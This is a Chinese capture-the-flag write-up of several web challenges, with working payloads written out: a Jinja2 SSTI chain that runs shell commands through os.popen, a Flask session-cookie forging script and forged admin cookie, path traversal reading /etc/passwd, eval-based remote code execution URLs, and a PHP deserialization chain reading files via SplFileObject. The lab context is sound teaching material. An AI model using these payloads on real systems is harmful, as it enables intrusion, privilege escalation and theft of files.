愚人杯
热身赛:
有点坑,刚开始时脑子真没反应过来
flag就是“一个不能说的密码”,绝了,我还以为flag是“群主喜欢36d”(bushi)
easy_signin
题目:
可以看到url里有一个img=xxx
xxx为十六编码
我们试一下用index.php转换为base64:aW5kZXgucGhw
包含aW5kZXgucGhw
得到:
1 | PD9waHAKLyoKIyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KIyBAQXV0aG9yOiBoMXhhCiMgQERhdGU6ICAgMjAyMy0wMy0yNyAxMDozMDozMAojIEBMYXN0IE1vZGlmaWVkIGJ5OiAgIGgxeGEKIyBATGFzdCBNb2RpZmllZCB0aW1lOiAyMDIzLTAzLTI4IDEyOjE1OjMzCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQojIEBsaW5rOiBodHRwczovL2N0ZmVyLmNvbQoKKi8KCiRpbWFnZT0kX0dFVFsnaW1nJ107CgokZmxhZyA9ICJjdGZzaG93ezBmZTk1YjRhLTU2NjEtNDU0OS04NzMxLTA1OTk0NzYyYmJhYX0iOwppZihpc3NldCgkaW1hZ2UpKXsKCSRpbWFnZSA9IGJhc2U2NF9kZWNvZGUoJGltYWdlKTsKCSRkYXRhID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkaW1hZ2UpKTsKCWVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsJGRhdGEnLz4iOwp9ZWxzZXsKCSRpbWFnZSA9IGJhc2U2NF9lbmNvZGUoImZhY2UucG5nIik7CgloZWFkZXIoImxvY2F0aW9uOi8/aW1nPSIuJGltYWdlKTsKfQoKCgoK |
进行base64解码得到:
1 | <?php |
得到flag
easy_ssti
题目:页面提示有个app.py包,我们下载来看一下
1 | from flask import Flask |
是道SSTI注入,我们需要访问/hello.html
,拼接:/hello.html/{{payload}}
进行注入
先试一下2,没问题,页面返回2,证明代码成功运行了
思路:
利用"".__class__.__bases__[0].__subclasses__()[83]
构造出我们想要的类
"".__class__
:当前变量的类
"".__class__.___bases__[0]
:当前变量的类的基类(最基础的类,[0]表示object类)
"".__class__.__bases__[0].__subclasses__()[83]
当前变量的类的基类的子类(到这里已经包含了其他类,83表示数组中的索引,指向一个类,83是通过爆破出来的,一边爆破一边看包返回长度及内容)
然后__init__
表示将类初始化(有点像实例化,不确定)
__globals__
取function所处空间下可使用的module、方法以及所有变量
__globals__['__builtins__']
表示类里面的函数了(这里可以输出看一下有什么函数,如果没有我们要的可以更改__subclasses__[]
看一下有没有我们想要的)
__globals__['__builtins__']['eval']()
调用eval函数
传参("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")
这里已经是执行python代码了,我们动态导入os库,然后调用popen执行,用read()读取
这里出现了个问题,就是传入参数中屏蔽了斜杆“/
”,所以我们需要使用base64编码绕过
但又出来个问题,我以前用的是bash
,但这里发现不行,所以根据经验改为sh
最后得到payload:
http://af57955d-b019-4224-9356-8e996bc58900.challenge.ctf.show/hello/{{"".__class__.__bases__[0].__subclasses__()[83].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('echo Y2F0IC9mbGFn |base64 -d|sh').read()")}}
成功!!!
easy_flask
知识点:
- flask session伪造
- flask代码审计
- 任意文件下载
题目:
进来之后有两个窗口,一个登录窗口和一个注册窗口
在注册窗口尝试注册了admin,发现用户已存在
然后在这里在登录和注册试了sql注入,没成功
我们先随便注册一个账号,登录进去
发现有个leran
点击(我刚开始没点击,在登录和注册徘徊了1个多小时(悲))
得到部分源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login.html', msg=msg)
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register.html', msg=msg)
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
........
对代码进行审计,看来我们需要进行flask session伪造
flask session伪造脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if (args.subcommand == 'encode'):
if (args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif (args.subcommand == 'decode'):
if (args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value, args.secret_key))
elif (args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
# {'loggedin': True, 'role': 'admin', 'username': 'admin'}
我们在浏览器把session复制下来
利用脚本进行session解密和伪造:
(解密后推理管理员伪造的规律)
1 | D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6ImFkbWluMiJ9.ZCeNjw.SI08C_xd1I55TbZzcedhgi_oqcU" |
1 | D:\CTFtools\其他\pytools>[demo1.py](http://demo1.py/) encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}" |
将伪造后的session导入
成功登入
发现一个txt文件,下载到一个假的flag
重新回到主页,看到那个东西下载有点像任意文件下载
我们下一个../../../../../../../etc/passwd试试
成功下载,我们下载自身:app.py
成功下载
app.py源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}
def index():
# Check if user is loggedin
if 'loggedin' in session:
return redirect(url_for('profile'))
return redirect(url_for('login'))
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users and password == users[username]['password']:
session['loggedin'] = True
session['username'] = username
session['role'] = users[username]['role']
return redirect(url_for('profile'))
else:
msg = 'Incorrect username/password!'
return render_template('login2.html', msg=msg)
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
if username in users:
msg = 'Account already exists!'
else:
users[username] = {'password': password, 'role': 'user'}
msg = 'You have successfully registered!'
return render_template('register2.html', msg=msg)
def profile():
if 'loggedin' in session:
return render_template('profile2.html', username=session['username'], role=session['role'])
return redirect(url_for('login'))
def show():
if 'loggedin' in session:
return render_template('show2.html')
def download():
if 'loggedin' in session:
filename = request.args.get('filename')
if 'filename' in request.args:
return send_file(filename, as_attachment=True)
return redirect(url_for('login'))
def hello_world():
try:
s = request.args.get('eval')
return f"hello,{eval(s)}"
except Exception as e:
print(e)
pass
return "hello"
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
session.pop('role', None)
return redirect(url_for('login'))
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8080)
我们注意到一段(比较狗血的就是我之前在登录界面徘徊那段时间,用目录扫描扫出了这个玩意)
1 | def hello_world(): |
这里我们直接可以rce了
payload:
/hello/?eval=**import**('os').popen('ls').read()
/hello/?eval=**import**('os').popen('ls /').read()
/hello/?eval=**import**('os').popen('cat /flag_is_h3re').read()
得到flag
被遗忘的反序列化(估计是非预期解)
题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
把代码拉到vscode比较容易看一些
先看一下题目的代码,反序列化的注入点在$_ip = $_SERVER["HTTP_AAAAAA"];
所以我们需要在http请求头注入一个参数:AAAAAA:xxx(xxx为反序列化的内容)
这里直接挑重点看了(毕竟只用到2个类)(此处省略了其他没用到的东西,方便理解):
1 | class gBoBg{ |
我们知道在php中支持使用$a($b)
这样动态的形式调用函数/实例化,
可以看到我们这一行就是这样的形式:$a = new $this->coos($this->file);
所以我们的思路是通过给coos和file赋值,实现rce或者文件操作
- 有人就问了:coos我用了
file_get_contents,
file我传入了地址,为什么读取不到文件。
答:因为这行代码是对象实例化,而file_get_contents
是一个函数,不是一个类,所以我们这里coos要传入一个内置类了
这里我们就需要看一下有什么内置类了
可遍历目录类有以下几个:
- DirectoryIterator 类
- FilesystemIterator 类
- GlobIterator 类
可读取文件类有:
- SplFileObject 类
我们需要用内置类来遍历目录,然后读取文件
POC:
1 |
|
分两步走,第一步读取文件目录
1 | $w->aaa->file="glob:///*f*"; #使用glob协来查找匹配的文件路径模式 这里/*f*匹配了根目录下包含f的文件夹名 |
第二步,使用SplFileObject
类读取文件内容:
1 | $w->aaa->file="/f1agaaa"; |
总结:
SSTI知识点:
1 | **class** 类的一个内置属性,表示实例对象的类。 |
三、常用类
先举几个基础的例子方便理解:
1、class__class__用来查看变量所属的类,格式为变量
.__**class__**
1
2
3
4
5
6
7
8
9 ''.__class__
<class 'str'>
().__class__
<class 'tuple'>
{}.__class__
<class 'dict'>
[].__class__
<class 'list'>2、base
__base__用来查看类的基类,注意是类的基类,所以格式为变量
.__**class__**.__**base__**
1
2
3
4
5
6
7
8
9
10
11 ''.class.__base__
(<class 'object'>,)
().class.__base__
(<class 'object'>,)
{}.class.__base__
(<class 'object'>,)
[].class.__base__
(<class 'object'>,)同时也能加上数组,比如变量
.__**class__**.__**base__**[0]
来获得第一个基类。值得一提的是还有个类是
__mro__
,它会显示类和基类,这是它和__base__
的不同。
1
2 ''.class.__mro__
(<class 'str'>, <class 'object'>)3、subclasses()
**
subclasses**()
查看当前类的子类,格式变量.__**class__**.__**base__**[0].__**subclasses__**()
这个类也可以加数组来查看指定的索引值,例如变量.__**class__**.__**bases__**[0].__**subclasses__**()[1]
在这里插入图片描述
1
2 ''.class.bases[0].__subclasses__()[0]
<class 'type'>这个时候就可以开始利用类里面的方法了。
示例:
变量.__**class__**.__**bases__**[0].__subclasses__()[138].__**init__**.__**globals__**
,init初始化类,然后globals全局来查找所有的方法及变量及参数。由此我们可以看到各种各样的参数方法函数,去找一个可利用的function来执行,比如popen的话,就可以这样利用:
''.__**class__**.__**bases__**[0].__**subclasses__**()[138].__**init__**.__**globals__[**'popen'].read()